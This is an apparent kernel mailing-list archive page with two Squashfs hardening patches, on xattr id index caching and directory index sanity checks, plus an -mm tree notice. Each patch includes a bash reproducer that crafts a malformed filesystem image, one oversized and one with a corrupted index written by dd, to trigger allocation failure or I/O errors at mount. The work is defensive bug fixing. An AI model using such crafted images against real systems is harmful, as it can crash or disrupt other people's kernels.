squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 20/23 Squashfs: don't store large xattr id table indexes in memory
In reply to Phillip LougherWhen mounting a Squashfs filesystem, the code reads the entire xattr id table indexes into memory. Their size is determined by the number of xattr ids in the filesystem, where the maximum number of xattr ids is 2^32, and this will allocate and read 64 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the xattr id table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million xattr ids, which will cause the xattr id table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
ARGS="-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates " ARGS+="-no-exports -no-recovery -no-progress -no-xattr-dups"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "X/$a/$b/$c l a" >> file echo "X/$a/$b/$c x user.x=1" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/X/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem echo
if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then
echo Appending to Squashfs filesystem failed finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
---
v3:
- Widen return value of squashfs_xattr_blocks_offset() to s32.
v2:
- Widen offset in squashfs_xattr_lookup_start() to s32, to prevent overflow when PAGE_SIZE is 64 KiB or larger.
--- fs/squashfs/inode.c | 2 +- fs/squashfs/squashfs_fs_sb.h | 8 +- fs/squashfs/squashfs_helpers.h | 29 +++++- fs/squashfs/super.c | 26 +++-- fs/squashfs/xattr.c | 22 +++-- fs/squashfs/xattr.h | 15 ++- fs/squashfs/xattr_id.c | 169 +++++++++++++++++++++++---------- 7 files changed, 198 insertions(+), 73 deletions(-)
fs/squashfs/inode.c +1 -1
@@ -446,7 +446,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)return -EINVAL ; } -if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) { +if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) { err = squashfs_xattr_lookup(sb, xattr_id, &squashfs_i(inode)->xattr_count, &squashfs_i(inode)->xattr_size,
fs/squashfs/squashfs_fs_sb.h +7 -1
@@ -63,7 +63,10 @@ struct squashfs_sb_info {__le64 *fragment_index_array;struct squashfs_cache *fragment_index_cache; }; -__le64 *xattr_id_table; +union { +__le64 *xattr_id_array; +struct squashfs_cache *xattr_id_cache; + };struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream;
@@ -79,6 +82,8 @@ struct squashfs_sb_info {u64 xattr_table;u64 lookup_table;u64 lookup_table_start; +u64 xattr_id_table; +u64 xattr_id_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -91,5 +96,6 @@ struct squashfs_sb_info {int max_thread_num;bool lookup_table_is_cache;bool fragment_index_is_cache; + bool xattr_id_is_cache; };#endif
fs/squashfs/squashfs_helpers.h +28 -1
@@ -241,11 +241,38 @@ static inline s32 squashfs_xattr_blocks(u32 xattrs)SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +static inline s32 squashfs_xattr_blocks_bytes (u32 xattrs) {return squashfs_xattr_blocks (xattrs) *sizeof (long long ); } +static inline s32 squashfs_xattr_blocks_base (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_xattr_blocks_start (u32 xattrs,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_xattr_blocks_base (xattrs); +s64 table_start = msblk->xattr_id_table +sizeof (struct squashfs_xattr_id_table ); +s64 start; + +if (S64_MAX - table_start < base) +return -EINVAL ; + + start = table_start + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_xattr_blocks_offset (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +static inline u32 squashfs_xattr_blk (s64 xattr) {return xattr >>16 ;
fs/squashfs/super.c +16 -10
@@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexes(struct squashfs_sb_info *msblk)kfree (msblk->fragment_index_array); } +static void squashfs_free_xattr_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->xattr_id_is_cache) +squashfs_cache_delete (msblk->xattr_id_cache); +else +kfree (msblk->xattr_id_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -202,7 +210,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)long long root_inode;unsigned short flags;unsigned int fragments; -u64 xattr_id_table_start, next_table; +u64 next_table;s64 err;int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );
@@ -376,19 +384,17 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)/* Handle xattrs */ sb->s_xattr = squashfs_xattr_handlers; - xattr_id_table_start =le64_to_cpu (sblk->xattr_id_table_start); -if (xattr_id_table_start ==SQUASHFS_INVALID_BLK ) { + msblk->xattr_id_table =le64_to_cpu (sblk->xattr_id_table_start); +if (msblk->xattr_id_table ==SQUASHFS_INVALID_BLK ) { next_table = msblk->bytes_used; goto allocate_id_index_table; }/* Allocate and read xattr id lookup table */ - msblk->xattr_id_table =squashfs_read_xattr_id_table (sb, - xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids); -if (IS_ERR (msblk->xattr_id_table)) { + err =squashfs_read_xattr_id_table (sb, msblk->xattr_id_table, + &msblk->xattr_table, &msblk->xattr_ids); +if (err <0 ) {errorf (fc,"unable to read xattr id index table" ); - err =PTR_ERR (msblk->xattr_id_table); - msblk->xattr_id_table =NULL ;if (err != -ENOTSUPP ) goto failed_mount; }
@@ -507,7 +513,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)squashfs_free_inode_table (msblk);squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table); -kfree (msblk->xattr_id_table); +squashfs_free_xattr_indexes (msblk);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;kfree (sblk);
@@ -628,7 +634,7 @@ static void squashfs_put_super(struct super_block *sb)squashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi); -kfree (sbi->xattr_id_table); +squashfs_free_xattr_indexes (sbi);kfree (sb->s_fs_info); sb->s_fs_info =NULL ; }
fs/squashfs/xattr.c +14 -8
@@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,struct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;size_t rest = buffer_size;int err;
@@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentry *d, char *buffer,if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return 0 ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ while (count--) {struct squashfs_xattr_entry entry;
@@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index, {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;int name_len =strlen (name);int err, vsize;char *target;
@@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return -ENODATA ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ;
@@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inode *inode, int name_index,if (target ==NULL )return -ENOMEM ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ for (; count; count--) {struct squashfs_xattr_entry entry;
fs/squashfs/xattr.h +11 -4
@@ -9,25 +9,26 @@*/ #ifdef CONFIG_SQUASHFS_XATTR -extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 , +extern int squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *);extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,unsigned int *,unsigned int *,unsigned long long *); +extern s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index);#else -static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb, +static inline int squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids) {struct squashfs_xattr_id_table *id_table; id_table =squashfs_read_table (sb, start,sizeof (*id_table));if (IS_ERR (id_table)) -return (__le64 *) id_table; +return PTR_ERR (id_table); *xattr_table_start =le64_to_cpu (id_table->xattr_table_start);kfree (id_table);ERROR ("Xattrs in filesystem, these will be ignored\n" ); -return ERR_PTR (-ENOTSUPP ); +return -ENOTSUPP ; } static inline int squashfs_xattr_lookup(struct super_block *sb,
@@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup(struct super_block *sb, {return 0 ; } + +static inline s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index) +{ +return 0 ; +} +#define squashfs_listxattr NULL#define squashfs_xattr_handlers NULL#endif
fs/squashfs/xattr_id.c +121 -48
218 lines not on this page · raw message
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: don't store large xattr id table indexes in memory has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: don't store large xattr id table indexes in memory
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: don't store large xattr id table indexes in memory
Date: Mon, 23 Nov 2026 03:43:01 +0000
When mounting a Squashfs filesystem, the code reads the entire xattr id table indexes into memory. Their size is determined by the number of xattr ids in the filesystem, where the maximum number of xattr ids is 2^32, and this will allocate and read 64 MiB.
This is an excessive and unnecessary amount of memory because the indexes do not need to be read into memory in their entirety. In addition kmalloc() is used to allocate memory, and this can fail when large amounts of memory are requested. Kmalloc() on modern kernels is usually limited to 4096 KiB. If panic-on-warn is set, then failure to allocate memory will result in a kernel panic.
This commit uses a 4 page cache if the size of the xattr id table indexes are 4 pages or larger. A simple and fast lookup array is retained where the total index size is less than 4 pages in size, which is the vast majority of Squashfs filesystems.
Reproducer
==========
The following reproducer will create a Squashfs filesystem with 280 million xattr ids, which will cause the xattr id table indexes to exceed 4096 KiB, and the kmalloc() should fail when the filesystem is mounted.
=====================================================================
#!/bin/bash
ARGS="-pf pseudo -mem 100m -no-hardlinks -no-sparse -no-duplicates " ARGS+="-no-exports -no-recovery -no-progress -no-xattr-dups"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}IMG=$PWD/reproducer.sqsh
DIR=$(mktemp -d)
if [ -e $IMG ]; then
rm $IMG
fi
pushd $DIR 2>&1 > /dev/null
# create 20 million pseudo file links to empty file touch a a=0 while [ $a -le 19 ]; do b=0 while [ $b -le 999 ]; do c=0 while [ $c -le 999 ]; do echo "X/$a/$b/$c l a" >> file echo "X/$a/$b/$c x user.x=1" >> file (( c ++ )) done (( b ++ )) done (( a ++ )) done
for i in $(seq 1 14); do
sed "s/X/$i/g" file > pseudo
echo
echo Iteration $i - appending 20 million files to Squashfs filesystem echo
if ! mksquashfs - $IMG -pd "d 0777 0 0" $ARGS; then
echo Appending to Squashfs filesystem failed finish
fi
done
popd 2>&1 > /dev/null
rm -rf $DIR
echo Generated Squashfs filesystem $IMG
=====================================================================
fs/squashfs/inode.c | 2 fs/squashfs/squashfs_fs_sb.h | 8 + fs/squashfs/squashfs_helpers.h | 29 +++++ fs/squashfs/super.c | 26 ++-- fs/squashfs/xattr.c | 22 ++-- fs/squashfs/xattr.h | 15 ++ fs/squashfs/xattr_id.c | 167 ++++++++++++++++++++++--------- 7 files changed, 197 insertions(+), 72 deletions(-)
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +1 -1
@@ -446,7 +446,7 @@ int squashfs_read_inode(struct inode *inreturn -EINVAL ; } -if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_table) { +if (xattr_id !=SQUASHFS_INVALID_XATTR && msblk->xattr_id_array) { err = squashfs_xattr_lookup(sb, xattr_id, &squashfs_i(inode)->xattr_count, &squashfs_i(inode)->xattr_size,
fs/squashfs/squashfs_fs_sb.h renamed from fs/squashfs/squashfs_fs_sb.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +7 -1
@@ -63,7 +63,10 @@ struct squashfs_sb_info {__le64 *fragment_index_array;struct squashfs_cache *fragment_index_cache; }; -__le64 *xattr_id_table; +union { +__le64 *xattr_id_array; +struct squashfs_cache *xattr_id_cache; + };struct mutex meta_index_mutex;struct meta_index *meta_index;void *stream;
@@ -79,6 +82,8 @@ struct squashfs_sb_info {u64 xattr_table;u64 lookup_table;u64 lookup_table_start; +u64 xattr_id_table; +u64 xattr_id_table_start;unsigned int block_size;unsigned short block_log;long long bytes_used;
@@ -91,5 +96,6 @@ struct squashfs_sb_info {int max_thread_num;bool lookup_table_is_cache;bool fragment_index_is_cache; + bool xattr_id_is_cache; };#endif
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +28 -1
@@ -241,11 +241,38 @@ static inline s32 squashfs_xattr_blocks(SQUASHFS_METADATA_SIZE ; } -static inline s32 squashfs_xattr_block_bytes (u32 xattrs) +static inline s32 squashfs_xattr_blocks_bytes (u32 xattrs) {return squashfs_xattr_blocks (xattrs) *sizeof (long long ); } +static inline s32 squashfs_xattr_blocks_base (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & ~(PAGE_SIZE -1 ); +} + +static inline s64 squashfs_xattr_blocks_start (u32 xattrs,struct squashfs_sb_info *msblk) +{ +s32 base =squashfs_xattr_blocks_base (xattrs); +s64 table_start = msblk->xattr_id_table +sizeof (struct squashfs_xattr_id_table ); +s64 start; + +if (S64_MAX - table_start < base) +return -EINVAL ; + + start = table_start + base; + +if (start > msblk->bytes_used) +return -EINVAL ; + +return start; +} + +static inline s32 squashfs_xattr_blocks_offset (u32 xattrs) +{ +return (squashfs_xattr_block (xattrs) *sizeof (long long )) & (PAGE_SIZE -1 ); +} +static inline u32 squashfs_xattr_blk (s64 xattr) {return xattr >>16 ;
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +16 -10
@@ -193,6 +193,14 @@ static void squashfs_free_fragment_indexkfree (msblk->fragment_index_array); } +static void squashfs_free_xattr_indexes (struct squashfs_sb_info *msblk) +{ +if (msblk->xattr_id_is_cache) +squashfs_cache_delete (msblk->xattr_id_cache); +else +kfree (msblk->xattr_id_array); +} +static int squashfs_fill_super (struct super_block *sb,struct fs_context *fc) {struct squashfs_mount_opts *opts = fc->fs_private;
@@ -202,7 +210,7 @@ static int squashfs_fill_super(struct sulong long root_inode;unsigned short flags;unsigned int fragments; -u64 xattr_id_table_start, next_table; +u64 next_table;s64 err;int devblksize =sb_min_blocksize (sb,SQUASHFS_DEVBLK_SIZE );
@@ -376,19 +384,17 @@ static int squashfs_fill_super(struct su/* Handle xattrs */ sb->s_xattr = squashfs_xattr_handlers; - xattr_id_table_start =le64_to_cpu (sblk->xattr_id_table_start); -if (xattr_id_table_start ==SQUASHFS_INVALID_BLK ) { + msblk->xattr_id_table =le64_to_cpu (sblk->xattr_id_table_start); +if (msblk->xattr_id_table ==SQUASHFS_INVALID_BLK ) { next_table = msblk->bytes_used; goto allocate_id_index_table; }/* Allocate and read xattr id lookup table */ - msblk->xattr_id_table =squashfs_read_xattr_id_table (sb, - xattr_id_table_start, &msblk->xattr_table, &msblk->xattr_ids); -if (IS_ERR (msblk->xattr_id_table)) { + err =squashfs_read_xattr_id_table (sb, msblk->xattr_id_table, + &msblk->xattr_table, &msblk->xattr_ids); +if (err <0 ) {errorf (fc,"unable to read xattr id index table" ); - err =PTR_ERR (msblk->xattr_id_table); - msblk->xattr_id_table =NULL ;if (err != -ENOTSUPP ) goto failed_mount; }
@@ -507,7 +513,7 @@ failed_mount:squashfs_free_inode_table (msblk);squashfs_free_fragment_indexes (msblk);kfree (msblk->id_table); -kfree (msblk->xattr_id_table); +squashfs_free_xattr_indexes (msblk);kfree (sb->s_fs_info); sb->s_fs_info =NULL ;kfree (sblk);
@@ -628,7 +634,7 @@ static void squashfs_put_super(struct susquashfs_free_fragment_indexes (sbi);kfree (sbi->meta_index);squashfs_free_inode_table (sbi); -kfree (sbi->xattr_id_table); +squashfs_free_xattr_indexes (sbi);kfree (sb->s_fs_info); sb->s_fs_info =NULL ; }
fs/squashfs/xattr.c renamed from fs/squashfs/xattr.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +14 -8
@@ -30,10 +30,9 @@ ssize_t squashfs_listxattr(struct dentrystruct inode *inode =d_inode (d);struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;size_t rest = buffer_size;int err;
@@ -41,9 +40,13 @@ ssize_t squashfs_listxattr(struct dentryif (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return 0 ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ while (count--) {struct squashfs_xattr_entry entry;
@@ -111,10 +114,9 @@ static int squashfs_xattr_get(struct ino {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 start =squashfs_xattr_blk (squashfs_i (inode)->xattr) - + msblk->xattr_table; -int offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); -unsigned int count =squashfs_i (inode)->xattr_count; +u64 start; +int offset; +unsigned int count;int name_len =strlen (name);int err, vsize;char *target;
@@ -123,6 +125,7 @@ static int squashfs_xattr_get(struct inoif (squashfs_i (inode)->xattr ==SQUASHFS_INVALID_BLK )return -ENODATA ; + count =squashfs_i (inode)->xattr_count;if (count ==0 || count >squashfs_i (inode)->xattr_size)return -EIO ;
@@ -130,6 +133,9 @@ static int squashfs_xattr_get(struct inoif (target ==NULL )return -ENOMEM ; + start =squashfs_xattr_blk (squashfs_i (inode)->xattr) + msblk->xattr_table; + offset =squashfs_xattr_offset (squashfs_i (inode)->xattr); +/* loop reading each xattr name */ for (; count; count--) {struct squashfs_xattr_entry entry;
fs/squashfs/xattr.h renamed from fs/squashfs/xattr.h~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +11 -4
@@ -9,25 +9,26 @@*/ #ifdef CONFIG_SQUASHFS_XATTR -extern __le64 *squashfs_read_xattr_id_table (struct super_block *,u64 , +extern int squashfs_read_xattr_id_table (struct super_block *,u64 ,u64 *,unsigned int *);extern int squashfs_xattr_lookup (struct super_block *,unsigned int ,unsigned int *,unsigned int *,unsigned long long *); +extern s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index);#else -static inline __le64 *squashfs_read_xattr_id_table (struct super_block *sb, +static inline int squashfs_read_xattr_id_table (struct super_block *sb,u64 start,u64 *xattr_table_start,unsigned int *xattr_ids) {struct squashfs_xattr_id_table *id_table; id_table =squashfs_read_table (sb, start,sizeof (*id_table));if (IS_ERR (id_table)) -return (__le64 *) id_table; +return PTR_ERR (id_table); *xattr_table_start =le64_to_cpu (id_table->xattr_table_start);kfree (id_table);ERROR ("Xattrs in filesystem, these will be ignored\n" ); -return ERR_PTR (-ENOTSUPP ); +return -ENOTSUPP ; } static inline int squashfs_xattr_lookup(struct super_block *sb,
@@ -36,6 +37,12 @@ static inline int squashfs_xattr_lookup( {return 0 ; } + +static inline s64 squashfs_xattr_lookup_start (struct super_block *sb,u32 index) +{ +return 0 ; +} +#define squashfs_listxattr NULL#define squashfs_xattr_handlers NULL#endif
fs/squashfs/xattr_id.c renamed from fs/squashfs/xattr_id.c~squashfs-dont-store-large-xattr-id-table-indexes-in-memory +120 -47
217 lines not on this page · raw message
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 21/23 Squashfs: fix variables in directory code and add more sanity checks
In reply to Phillip LougherA directory larger than a metadata block (8192 bytes) will have a directory index to allow faster reading and lookup of names. This index allows the code to jump to the desired compressed metadata block, without requiring the directory to be scanned from the beginning.
But the index handling code has a defect in that multiple variables including those used to read and track directory indexes from disk are signed ints. This means any index which is 2^31 or larger will be treated as a negative value. The knock on efect of this is that the offset into the desired metadata block is incorrectly computed, with the result the directory fails to be read, and an I/O error is returned.
This commit corrects the variables (and function return value) to be unsigned int, and it also adds more sanity checking of the values read off disk (including directory size to avoid underflow in subtraction). Now if a directory index is found to be incorrect, the index is discarded and the previous index read from disk is used. This allows the directory to be read correctly without throwing an I/O error.
Reproducer
==========
The following reproducer creates a Squashfs filesystem with a root directory which has a directory index. The reproducer then corrupts root directory index 0 with an index value of -1. The filesystem is then mounted, and stat run on file /mnt/filename-490.
If the exploit succeeds stat will report an I/O error and dmesg will contain Squashfs error reports.
=====================================================================
#!/bin/bash
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
for i in $(seq 1 1000); do
echo "filename-$i f 0700 0 0 echo hello" >> pseudo
done
echo "Create a Squashfs filesystem"
if ! mksquashfs - img.sqsh -pf pseudo -pd "d 0777 0 0" -noI -no-progress -quiet; then
echo Creating the Squashfs filesystem failed
finish
fi
# Write -1 in little-endian format to file/usr/bin/echo -en "\xff\xff\xff\xff" > file
echo "Over-write the root directory index 0, with an index value of -1." echo "This because the metadata is uncompressed can be over-written directly," echo "but, normally the metadata will be compressed."
echo "The location of the 4 byte index is 32150"
dd bs=1 seek=32150 if=file of=img.sqsh count=4 conv=notrunc status=none
echo
echo "Mount the filesystem on /mnt"
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo
echo "Run stat /mnt/filename-490 on the mounted filesystem" echo
echo "If the exploit works stat will report I/O error, and dmesg will" echo "contain Squashfs error reports"
echo
stat /mnt/filename-490
umount /mnt
popd 2>&1 > /dev/null
rm -rf $DIR
exit 0
=====================================================================
---
v3:
- Definition of start changed from u64 to s64 in squashfs_lookup(), changed in patch 12.
- squashfs_dir_space() jumps to data_error, rather than read_failure, setting err to -EIO.
--- fs/squashfs/dir.c | 73 ++++++++++++++++++++------ fs/squashfs/namei.c | 94 ++++++++++++++++++++++++++-------- fs/squashfs/squashfs_helpers.h | 7 +++ 3 files changed, 136 insertions(+), 38 deletions(-)
fs/squashfs/dir.c +57 -16
@@ -37,17 +37,17 @@ static const unsigned char squashfs_filetype_table[] = {* (if any) we have managed to read - the index isn't essential, just * quicker. */ -static int get_dir_index_using_offset (struct super_block *sb, +static unsigned int get_dir_index_using_offset (struct super_block *sb,u64 *next_block,int *next_offset,u64 index_start,int index_offset, -int i_count,u64 f_pos) +unsigned int i_count,loff_t max_index,u64 f_pos) {struct squashfs_sb_info *msblk = sb->s_fs_info;s64 res; -int err, i, index, length =0 ; -unsigned int size; +int err; +unsigned int i, index, length =0 , size, start_block, block;struct squashfs_dir_index dir_index; -TRACE ("Entered get_dir_index_using_offset, i_count %d, f_pos %lld\n" , +TRACE ("Entered get_dir_index_using_offset, i_count %u, f_pos %lld\n" , i_count, f_pos);/*
@@ -58,6 +58,18 @@ static int get_dir_index_using_offset(struct super_block *sb,if (f_pos <=3 )return f_pos; f_pos -=3 ; + max_index -=3 ; + +/* +* A valid index starts at a directory header, and there must be enough +* room for a directory header and one directory entry. +*/ +if (max_index <sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ) +return 3 ; + + max_index -=sizeof (struct squashfs_dir_header ) + +sizeof (struct squashfs_dir_entry ) +1 ;for (i =0 ; i < i_count; i++) { err = squashfs_read_metadata(sb, &dir_index, &index_start,
